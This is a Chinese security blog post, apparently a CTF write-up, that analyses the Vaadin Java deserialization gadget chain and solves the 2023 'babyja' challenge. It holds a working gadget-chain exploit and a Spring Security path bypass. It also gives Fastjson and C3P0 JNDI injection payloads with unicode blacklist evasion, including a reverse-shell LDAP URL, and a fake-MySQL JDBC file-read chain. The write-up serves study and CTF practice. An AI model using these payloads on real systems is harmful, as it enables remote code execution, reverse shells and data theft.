问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Java安全 - Learning Vaadin Gadget From CTF
CTF
转载
前言 == 本篇文章转载先知社区 作者Zjacky(本人) 原文链接为https://xz.aliyun.com/t/13941 要过年了忙得起飞大年初三就飞马来潜水去了于是为了不让身边的师傅卷死我就去看了下之前没打出来的CTF题目心血来潮来复现学习下,刚好遇到新的链子,就一并写篇博客记录下,标题很洋气,从CTF中学习Vaadin gadgets Vaadin链 ======= Vaadin 可以理解为是一个平台吧,有UI,了解即可,Vaadin 的反序列化调用链其实蛮简单的,就是反射调用 `getter` 方法罢了 依赖 ```yaml vaadin-server : 7.7.14 vaadin-shared : 7.7.14 ``` 漏洞其实就三个类 ### NestedMethodProperty `com.vaadin.data.util.NestedMethodProperty` 类可以理解为是一个封装属性方法的类,其构造方法如下  接收两个参数,一个是实例化的对象,一个是属性值。然后调用初始化方法将调用 `initialize` 方法获取实例类中的相关信息存放在成员变量中。跟进该初始化方法  发现已经获取到了我们传入的属性值的getter方法  并且进行对象属性的一些赋值封装  然后这个`NestedMethodProperty` 类 存在 `getValue` 方法 将我们上述封装的`getMethods`这个方法数组类进行遍历且调用里面的属性的方法名  因此这个类又是可以触发 TemplatesImpl 的利用方式,所以找哪个类存在 能够触发`NestedMethodProperty#getvalue()`去调用getter方法,于是找到下面的类 ### PropertysetItem 触发类是 `com.vaadin.data.util.PropertysetItem` ,这个类实现了几个接口,初始化后能够对自己的map属性,list属性进行操作 数据存放在成员变量 map 中,想要获取相应属性时,则调用 `getItemProperty` 方法在 map 中获取,需要传入一个对象  而这个类重点则是他存在`toString`方法  从list中获取值然后去调用`getValue`  那么这个list怎么赋值呢,可以关注`addItemProperty`方法  将我们传入的id值传入 断点看下这个`getItemPropertyIds`的返回值是什么  其实可以发现他返回的就是我们`list`的内容 那之后取出list的内容后再从map中去找对应的值去调用我们的getvalue方法  那么现在目的就是 1. list有一个需要调用他的getter方法的id 2. map也需要一个调用他的getter方法的id并且取出来的值为`NestedMethodProperty`类来调用他的getvalue方法 那其实就已经非常好去拼接了 最后的问题就是如何在反序列化的时候调用任意类的`Tostring`方法了,而在我们的CC5当中就接触过这个类叫`BadAttributeValueExpException`,他的反序列化是可以调用任意类的`ToString`方法的,于是参考SU18师傅的EXP成功弹出计算机 ```java package Vaadin; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class Vaadin_Ser { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { // 生成包含恶意类字节码的 TemplatesImpl 类 byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][] {payloads}); setFieldValue(templates, "_name", "zjacky"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); PropertysetItem pItem = new PropertysetItem(); NestedMethodProperty nmprop = new NestedMethodProperty(templates, "outputProperties"); pItem.addItemProperty("outputProperties", nmprop); // 实例化 BadAttributeValueExpException 并反射写入 BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky"); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(exception, pItem); // serialize(exception); unserialize("ser.bin"); } } ```  整个链代码量非常少,其实还是很简单的自己动手跟下即可非常容易理解 CTFer ===== 这里学完这个之后来以2023年福建省赛黑盾杯的初赛babyja来进行案例分析,考点如下(其实这个题很多解法) 1. Fastjson 黑名单绕过 or 不出网应用 2. Spring Security 权限绕过 3. Vaadin反序列化链 4. C3P0二次反序列化 2023闽盾杯初赛 babyja ---------------- 目录结构  查看`pom.xml`  其实意图就很明显三个组件都能相互配合(马后炮) 并且存在Spring Security的一个权限鉴权,先查看下`AuthConfig.class` 发现是用`regexMatchers`来进行正则匹配路径,去查看下spring Security的版本为 5.6.3 ,而这里由于设计问题看他的控制器是随便什么都可以进入逻辑 相当于`admin/*` ,所以完全符合漏洞版本所以可以使用`%0d`绕过  直接访问302  权限绕过后返回`WellDone`  当然给出账号密码也是可以登录获取Session的  获取到Session `JSESSIONID=FC8D9FE4BBDAE0BC554377DB1CAFCBE8` 发现成功执行  再来查看控制器  可以发现传入data这个json字符串然后进行鉴权并且给到`JSON.parse`解析,其实可以想到绕过黑名单+fastjson打C3p0不出网这个思路,也可以直接打jndi注入吧,跟进`SecurityCheck`  可以想到用16进制或者unicode来进行绕过黑名单,所以有以下打法 ### JNDI注入(出网+jdk低版本) 本地用的是jdk8u65 ```yaml POST /admin/user%0d HTTP/1.1 Host: localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Content-Length: 0 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" data={{urlenc(eyJAdHlwZSI6Ilx1MDA2M1x1MDA2Zlx1MDA2ZFx1MDAyZVx1MDA3M1x1MDA3NVx1MDA2ZVx1MDAyZVx1MDA3Mlx1MDA2Zlx1MDA3N1x1MDA3M1x1MDA2NVx1MDA3NFx1MDAyZVx1MDA0YVx1MDA2NFx1MDA2Mlx1MDA2M1x1MDA1Mlx1MDA2Zlx1MDA3N1x1MDA1M1x1MDA2NVx1MDA3NFx1MDA0OVx1MDA2ZFx1MDA3MFx1MDA2YyIsImRhdGFTb3VyY2VOYW1lIjoibGRhcDovLzEwNy4xNzQuMjI4Ljc5OjEzODkvQmFzaWMvQ29tbWFuZC9jYWxjIiwiYXV0b0NvbW1pdCI6dHJ1ZX0=)}} ``` 直接反弹shell即可 ```json {"@type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://xxx:1389/Basic/ReverseShell/xxx/7979","autoCommit":true} ```  当然除了直接打1.2.24的JNDI 也可以打C3P0的JNDI,只是需要用unicode或者16进制去绕过即可 ```yaml {"@type":"com.mchange.v2.c3p0.\u004a\u006e\u0064\u0069\u0052\u0065\u0066\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065","\u004a\u006e\u0064\u0069\u004e\u0061\u006d\u0065":"ldap://127.0.0.1:1389/Basic/Command/calc", "LoginTimeout":0} ```  ### 不出网打二次反序列化 C3P0打二次反序列化, 可以看到该题存在Vaadin的依赖,所以可以通过C3P0打Vaadin的反序列化,但是由于他把`TemplatesImpl`的16进制也给ban了,这样子我们就没办法用C3P0打二次反序列化来使用`TemplatesImpl`加载字节码了  所以只能另从别的思路来看,从始至终我们并没有去讨论题目的`bean`目录,现在来看下 一个接口   可以发现这里存在`getConnection`方法,而在Vaadin分析中可以得知,其链子一部分是可以调用任意属性的getter方法的,所以在这里思路就是:调用`getConnection`方法来控制JDBC来连恶意的mysql从而读取flag,而已的mysql为 [https://github.com/fnmsd/MySQL\_Fake\_Server](https://github.com/fnmsd/MySQL_Fake_Server) 根据Vaadin的exp来修改下即可,最后的exp(这里参考大头Sec的Wp)为 ```java import com.ctf.bean.MyBean; import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; public class Vaadin_Ser { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] ser(Object obj) throws Exception{ ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeObject(obj); out.flush(); return bos.toByteArray(); } public static String bytesToHexString(byte[] bArray) { StringBuffer sb = new StringBuffer(bArray.length); for (byte b : bArray) { String sTemp = Integer.toHexString(255 & b); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } public static void main(String[] args) throws Exception { MyBean myBean =new MyBean(); myBean.setDatabase("mysql://xxx:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#"); PropertysetItem pItem = new PropertysetItem(); NestedMethodProperty nmprop = new NestedMethodProperty(myBean, "Connection"); pItem.addItemProperty("Connection", nmprop); // 实例化 BadAttributeValueExpException 并反射写入 BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky"); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(exception, pItem); // 序列化并输出 HEX 序列化结果 System.out.println(bytesToHexString(ser(exception))); } } ``` 这里有一个很重要的东西,就是包名一定要得对(CTFer的痛)  ```java mysql://1.1.1.1:3306/test?user=fileread_file:///.&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true# mysql://1.1.1.1:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true# ``` 
发表于 2024-04-10 10:08:47
阅读 ( 3860 )
分类:
代码审计
0 推荐
收藏
0 条评论
请先
登录
后评论
Zacky
16 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!